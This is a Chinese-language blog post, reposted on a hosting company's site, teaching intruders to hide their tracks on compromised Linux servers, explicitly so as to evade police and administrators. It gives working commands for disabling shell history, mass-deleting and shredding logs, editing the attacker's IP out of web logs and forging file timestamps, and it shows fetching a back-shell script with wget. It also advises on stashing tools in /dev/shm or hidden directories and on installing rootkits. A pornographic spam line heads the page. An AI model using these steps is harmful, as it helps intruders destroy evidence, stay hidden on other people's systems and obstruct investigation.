人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動(dòng)態(tài)

Linux下的匿跡隱藏方法

發(fā)布日期:2021-12-24 20:42 | 文章來(lái)源:源碼之家

被警察叔叔請(qǐng)去喝茶時(shí)間很痛苦的事情,各位道長(zhǎng)如果功力不夠又喜歡出風(fēng)頭的想必都有過(guò)這樣的“待遇”。如何使自己在系統(tǒng)中隱藏的更深,是我們必 須掌握的基本功。當(dāng)然,如果管理員真的想搞你而他的功力又足夠足的話,相信沒(méi)什么人能夠真正的“踏雪無(wú)痕”。Forensic 與Anti-Forensic,說(shuō)到底只是你和管理員之間的技術(shù)間較量而已。貌似很少有專門說(shuō)這個(gè)的文章,大部分就是下載個(gè)日志擦除的軟件,然后運(yùn)行下就可以了,對(duì)小站可以,但對(duì)方如果是經(jīng)驗(yàn)豐富的管理員呢?我們?cè)撊绾螒?yīng)對(duì)?我在這里只介紹unix-like system下的,至于windows或者其他什么系統(tǒng)下的,歡迎各位道友補(bǔ)充。

1.最小化你的日志

P.S 訪問(wèn)目標(biāo)前用跳板我就不廢話了,你是VPN也好3389也罷,ssh中轉(zhuǎn),代理都行??傊涀∫稽c(diǎn)—直接連接攻擊目標(biāo)是愚蠢的

1.1shell使用問(wèn)題

目前l(fā)inux下大多數(shù)的shell都是采用bash或者其他的什么shell 通過(guò)輸入輸出重定向來(lái)實(shí)現(xiàn)與服務(wù)器的交互的,當(dāng)我們使用ssh 或者telnet之類的登錄的時(shí)候,我們的命令都會(huì)被記錄在shell 的history文件下面。舉例來(lái)說(shuō)bash會(huì)在當(dāng)前目錄下面.bash_history文件里記錄下你此次登陸操作的命令,如果你拿這臺(tái)機(jī)器當(dāng)跳板的 話,或者掃描其他機(jī)器,你的命令都會(huì)被記錄下來(lái)哦。呵呵,所以我們登錄的第一件事就是執(zhí)行如下命令:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

當(dāng)然不同的shell寫法可能不同,像有的set設(shè)置環(huán)境變量什么的。大家根據(jù)自己的shell自行修改。記住:從 webshell彈回的shell也會(huì)記錄你的操作,值得慶幸的是現(xiàn)在很多彈shell的腳本都預(yù)先unset 環(huán)境變量。

我們還需要記住的是在登錄的時(shí)候出現(xiàn)在登錄窗口的一些信息,比如該用戶在什么時(shí)候從哪個(gè)IP登錄進(jìn)來(lái)的等等,這在我們后面的用于日志清除與修改的時(shí)候要用到。

如圖:

作為跳板的時(shí)候,我們有可能需要用本機(jī)的ssh去訪問(wèn)別的機(jī)器,但是別的機(jī)器的公鑰呢?總不能放在當(dāng)前用戶的目錄下吧?當(dāng)然你可以事后刪除,但多一事不如少一事,你說(shuō)對(duì)么?

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

就可以了,但在這樣運(yùn)行某些命令的時(shí)候可能會(huì)有提示,說(shuō)你的stdin不是個(gè)terminal,這里可以這樣解決:

python -c ‘import pty; pty.spawn(“/bin/sh”)’

或者自己再建立個(gè)ttyshell。

1.2 webshell的選擇問(wèn)題

可能各位道友的日常生活中最主要目標(biāo)瞄向了webserver ?,F(xiàn)在的web也是大多數(shù)入侵的 一個(gè)突破口。Linux下用的最多的就是apache服務(wù)器了,當(dāng)我們發(fā)覺(jué)一個(gè)服務(wù)器的漏洞時(shí)候很可能要上傳一個(gè)webshell來(lái)進(jìn)行對(duì)服務(wù)器文件進(jìn)一 步的操作和信息的搜集,部分webshell也提供了反彈shell的功能。 如何能夠在apache服務(wù)器的日志文件中留下最小的記錄也是需要深究的。這種情況通常發(fā)生在沒(méi)能夠獲得足夠的權(quán)限來(lái)清除apache日志。如果能夠 root了,則可以將重點(diǎn)放在第二節(jié)日志清除上。通常,日志只記錄GET的信息,比如你的注入, 你采用了那種方式提交數(shù)據(jù)等等。如果我們的 webshell采用的多是GET方式交互的話,就很容易在httpd的access_log中留下很多日志。這些以后都會(huì)被作為證據(jù)所采納的。 Phpspy是個(gè)很好的選擇,作者也注意掉了這點(diǎn),取消了GET方式的交互,再給webshell起一個(gè)比較迷惑的名字,這樣我們與webshell的交 流就更加隱秘。

2.日志的清除與改寫

日志清除與改寫,俗稱擦PP,這是個(gè)很重要的過(guò)程,日志記錄了你對(duì)目標(biāo)機(jī)器的操作記錄,大部分的入侵者 查找都是通過(guò)日志來(lái)確定的,因此,我們需要對(duì)日志文件進(jìn)行操作。對(duì)日志操作有這么個(gè)說(shuō)法,能修改的就不清除,這樣才能最小的減少管理員的懷疑。Linux 下的大多數(shù)文件是以文本方式,或者以簡(jiǎn)單的結(jié)構(gòu)體方式存入文件的,這就為我們修改某個(gè)日志記錄里的具體內(nèi)容提供了前提條件。

需要注意的一點(diǎn)是,我們需要先看看日志的存放位置,有的管理員會(huì)修改日志保存的位置,一般來(lái)說(shuō),我們可以查看/etc/syslog.conf來(lái)獲 得log文件存放的位置。但要注意的是,有的管理員(及其負(fù)責(zé))會(huì)重新編譯syslogd文件來(lái)重新指定log存放的位置,怎么辦?在這種情況下可以用 strings來(lái)看下/sbin/syslogd這個(gè)文件,這種管理員我只在書(shū)里看到過(guò),至少我沒(méi)遇到過(guò): P。這個(gè)配置文件里面記錄了系統(tǒng)存放某些log的目錄,如secure文件等。下面我們就會(huì)根據(jù)這個(gè)文件來(lái)清理和修改日志。

現(xiàn)在可以在網(wǎng)上公開(kāi)獲得的日志清除程序代碼很粗糙,我曾經(jīng)看到過(guò)最夸張的清日志的代碼像這樣:

rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history –r

整個(gè)一rm集合,要是服務(wù)器跑了很長(zhǎng)時(shí)間,積累了很多日志。你這樣一刪除,的,你幫他省事了,他也省事,一眼就看出有人進(jìn)來(lái)了。

先不說(shuō)其他,用rm刪除就不可取,正確的刪除文件做法是用shred

shred -n 31337 -z -u file_to_delete

這樣多次擦除才夠安全。呵呵

下面具體的針對(duì)日志文件進(jìn)行分析。

W命令提供了管理員查看當(dāng)前登錄帳戶的功能,所以與管理員同臺(tái)共演是件很危險(xiǎn)的事情,能不做就不做,但也有人曾經(jīng)上演過(guò)local exp后,裝上tty 然后T管理員下線截獲登錄密碼的好戲。呵呵,如何讓w不顯示你登錄了呢?

用rootkit我就不廢話了,這里有個(gè)小竅門,即使是普通用戶登錄管理員也不能看見(jiàn):

在跳板上登錄目標(biāo)ssh -T somebody@1.1.1.1 /bin/bash –i 你可以試試,很好用哦。

OK,言歸正傳

首先第一個(gè)概念是timstamp,也就是你用ls –l 看到的東西,我們?cè)谛薷囊粋€(gè)LOG文件之前或者留后門之后都得留心下這個(gè)時(shí)間,有很多管理員喜歡通過(guò)timestamp來(lái)查找入侵者留下的東西。記住以下命令

touch -r 具有你希望改成的時(shí)間的文件 你要改變的文件 他能夠使得兩個(gè)文件的timestamp保持一致。

在你修改日志之前,你可以在/dev/shm下面建立一個(gè)臨時(shí)文件,并將log的timestamp保存下倆,然后再touch回去。為什么要 用/dev/shm 目錄在第三節(jié)會(huì)有說(shuō)明。當(dāng)然我們也可以用程序?qū)崿F(xiàn),不過(guò)有的時(shí)候我們會(huì)碰到?jīng)]有見(jiàn)過(guò)的日志類型,所以有時(shí)候需要手工改寫日志。除了時(shí)間之外,還需要注意文 件的其他屬性,比如所有者或是否有粘滯位等等。這些都需要注意。

Linux 的日志散落在系統(tǒng)各處,同時(shí)系統(tǒng)管理員也能夠靈活的制定日志保存的位置,這就要求我們非常小心,采用通用的日志移除或改寫工具是很不明智的,為此我們要對(duì)需要修改的日志系統(tǒng)有個(gè)全面的了解。具體的內(nèi)容請(qǐng)參看文章《Linux服務(wù)器日志管理詳解》。

這里提供個(gè)工具

http://lists.darklab.org/pipermail/darklab/2006-May/000234.html

怎么使用自己去看看吧。我個(gè)人還是傾向于某個(gè)日志用某個(gè)特定的清除或修改器,這樣靈活性更大點(diǎn)。

我們也可以使用sed命令行工具來(lái)清除某些日志,通常我會(huì)這樣修改web日志:

touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed’/192\.168\.44\.1/d’ access_log > /dev/shm/backlog ; cat/dev/shm/backlog > access_log; touch -r /dev/shm/timestamp./access_log ;shred -n 255 -z -u /dev/shm/timestamp;

這里192.168.44.1是我跳板的IP。

具體的log修改和擦除工具,各位道長(zhǎng)就從網(wǎng)上下個(gè)現(xiàn)成的自己改改吧,呵呵,我就不在這獻(xiàn)丑了。

還有一點(diǎn),我們要將wtmp文件中的登錄日志修改成原來(lái)管理員登陸的IP和時(shí)間 也就是第一節(jié)中記下的時(shí)間與IP。如果實(shí)在得不到 root權(quán)限,我們也可以ssh localhost一下來(lái)隱藏登錄IP。

3.工具與數(shù)據(jù)的隱藏

3.1工具與數(shù)據(jù)的臨時(shí)存放

當(dāng)我們需要在服務(wù)器上留下某些程序的時(shí)候,比如sniff軟件,或者作為跳板攻擊其 他服務(wù)器的時(shí)候,我們不得不面對(duì)著一個(gè)痛苦的抉擇:既要能夠留下足夠的工具來(lái)完成必要的任務(wù),又要經(jīng)可能少的對(duì)文件系統(tǒng)乃至對(duì)磁盤的數(shù)據(jù)的改寫。在這種情 況下,如果所要保存的數(shù)據(jù)只是臨時(shí)的,我們就需要在內(nèi)存中建立起文件系統(tǒng)。這樣,當(dāng)系統(tǒng)再重啟后我們?cè)?jīng)在磁盤上保留的信息就會(huì)被擦除,因?yàn)樗鼪](méi)有被真正 的寫到磁盤上面去。(注意:通常我們只用這種方法來(lái)保存暫時(shí)用的程序、代碼等工具,如果要長(zhǎng)久保存的不推薦此種方法)

為此,我們需要建立ramfs,它是一個(gè)在內(nèi)存中存在的文件系統(tǒng)。具體的介紹請(qǐng)各位道友自行查找相關(guān)文檔查看。建立ramfs很簡(jiǎn)單,不過(guò)需要有root權(quán)限。代碼如下:

Wgethttp://xxxx/backshell.pl-P /tmp

但是否想過(guò)/tmp或許只是一個(gè)普通的ext3或者reinfs文件系統(tǒng),最多充其量是個(gè)tmpfs,這些文件系統(tǒng)有個(gè)特點(diǎn)就是會(huì)與磁盤交互。 那我們應(yīng)該選擇什么目錄來(lái)保存我們的代碼呢?在現(xiàn)代的linux操作系統(tǒng)中,默認(rèn)掛載了/dev/shm目錄其類型就是ramfs,作為系統(tǒng)共享用。我們 就可以利用它來(lái)完成保存shell的目的。

3.2工具與數(shù)據(jù)的長(zhǎng)期存放

目錄的隱藏是個(gè)很高深的學(xué)問(wèn),在最開(kāi)始的階段,我們通常是在一個(gè)很深的目錄里面建立名為”…” 或者” ”等的目錄,然后把工具一股腦的放進(jìn)去,這招在對(duì)付不負(fù)責(zé)任的管理員的時(shí)候很管用,但是遇到負(fù)責(zé)人的管理員一個(gè)find語(yǔ)句就能把你找出來(lái):

# find / -uid 0 –perm -4000 –print
# find / -size +10000k –print
# find / -name “…“ –print
# find / -name “.. “ –print
# find / -name “. “ –print
# find / -name “ “ –print

留setuid的程序也是個(gè)大的忌諱,這樣很容易引起管理員的懷疑。特別是這個(gè)setuid程序存在莫名其妙的目錄下的時(shí)候。

在大多數(shù)情況下,我們可以借助 rootkit來(lái)幫助你完成這個(gè)功能。

我簡(jiǎn)單的介紹下,像linux下的rootkit,總體來(lái)說(shuō)可以分為兩大類:應(yīng)用層和內(nèi)核態(tài)的rootkit。

應(yīng)用層的rootkit通常通過(guò)修改某些文件來(lái)實(shí)現(xiàn)信息隱藏,比如修改ls 讓其不顯示某個(gè)特殊名稱文件夾,修改ifconfig讓其不顯示PROMISC位還有的是通過(guò)修改so。

文件來(lái)留后門等等。如果管理員安裝了tripwire之類的完整性校驗(yàn)工具各位道友就要小心了,不過(guò)一般的管理員也沒(méi)那么負(fù)責(zé)。這些低級(jí)的 rootkit很容易給chkrootkit之類的工具給揪出來(lái),要真正用的話最好自己能下載源代碼重新編譯下,修改掉配置文件的默認(rèn)位置,這樣好點(diǎn)。

內(nèi)核級(jí)別的rootkit:顧名思義,進(jìn)入ring0級(jí)別來(lái)HOOK掉某些系統(tǒng)調(diào)用或者其他什么亂起八糟的方法來(lái)改掉系統(tǒng)調(diào)用的執(zhí)行輸出(當(dāng)然 也ring3 patch ring0也有,像suckit)。這種東西很詭異,能夠真正成功裝上的幾率不大,關(guān)鍵看人品,呵呵。進(jìn)入了2.6時(shí)代,很多美好的rootkit都失去 了光彩。加之2.6的模塊編譯要內(nèi)核樹(shù)的支持,更使得LKM方式的 rootkit舉步維艱。據(jù)wzt講,suckit也有2.6版本的,不過(guò)是private的要money。偶等窮人也只有干看到份了。

2.6的rootkit安裝可以看看包總的adore-ng教程 wnps也不錯(cuò),不過(guò)wzt這BB也停止開(kāi)發(fā)了。還有什么內(nèi)核靜態(tài)patch等方法,也只是在phrack里面看到過(guò),各位道友用過(guò)的給我介紹下啊,呵呵。

扯遠(yuǎn)了,關(guān)于如何隱藏文件,當(dāng)然你也可以采用偽造壞扇區(qū)的方法,將你的東西放在那里,一般的文件系統(tǒng)算是看不出來(lái)了。你可以用特殊的工具對(duì)其進(jìn)行存儲(chǔ)。這個(gè)再以后的advance anti-forensic文章中會(huì)講,不再多說(shuō)。

4.如何安裝和編譯工具

可能linux與windows對(duì)于用戶來(lái)說(shuō),最大的不同就是linux從網(wǎng)上下載的大多數(shù)都是src 源代碼包,要使用的話需要在機(jī)器上現(xiàn)場(chǎng)編譯,好不容易有編譯好的發(fā)行包如rpm

deb還是和系統(tǒng)相關(guān)的 依賴性啊,等等,煩都煩死人了。像要裝個(gè)ettercap,什么libnet libpcap都得裝上,但有時(shí)候我們的目標(biāo)機(jī)器上沒(méi)有所需要的依賴文件,這怎么辦呢?不推薦使用rpm

dpkg 等方式來(lái)安裝需要的文件,也不推薦apt yum源等方式安裝,從源代碼編譯把,這樣比較好點(diǎn)。

我們把下載的源代碼放到自己的隱藏目錄里,在configure的時(shí)候需要指定prefix安裝路徑,總不能把這些包真正的裝到系統(tǒng)里面把,指定成我們的隱藏目錄就好,這樣一來(lái),管理員也不會(huì)發(fā)現(xiàn)怎么系統(tǒng)安裝了許多原本沒(méi)有支持的庫(kù)文件或者頭文件了。

最后一步,當(dāng)編譯我們的工具時(shí),需要指定所依賴的頭文件目錄和庫(kù)文件目錄,不要執(zhí)行make install命令,這樣一來(lái),我們的工具就可以完全在我們的隱藏目錄里面了。

關(guān)于perl的模塊安裝,可以參看這邊文章:

http://servers.digitaldaze.com/extensions/perl/modules.html

先寫這么多吧,呵呵,有想到的再加上。后頭還會(huì)寫篇Advance anti-forensic的文章??赡苡械牡烙褧?huì)說(shuō)我太小心。小心好啊,小心使得萬(wàn)年船,不是么?呵

版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開(kāi)通

自選配置、實(shí)時(shí)開(kāi)通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問(wèn)服務(wù)

1對(duì)1客戶咨詢顧問(wèn)

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部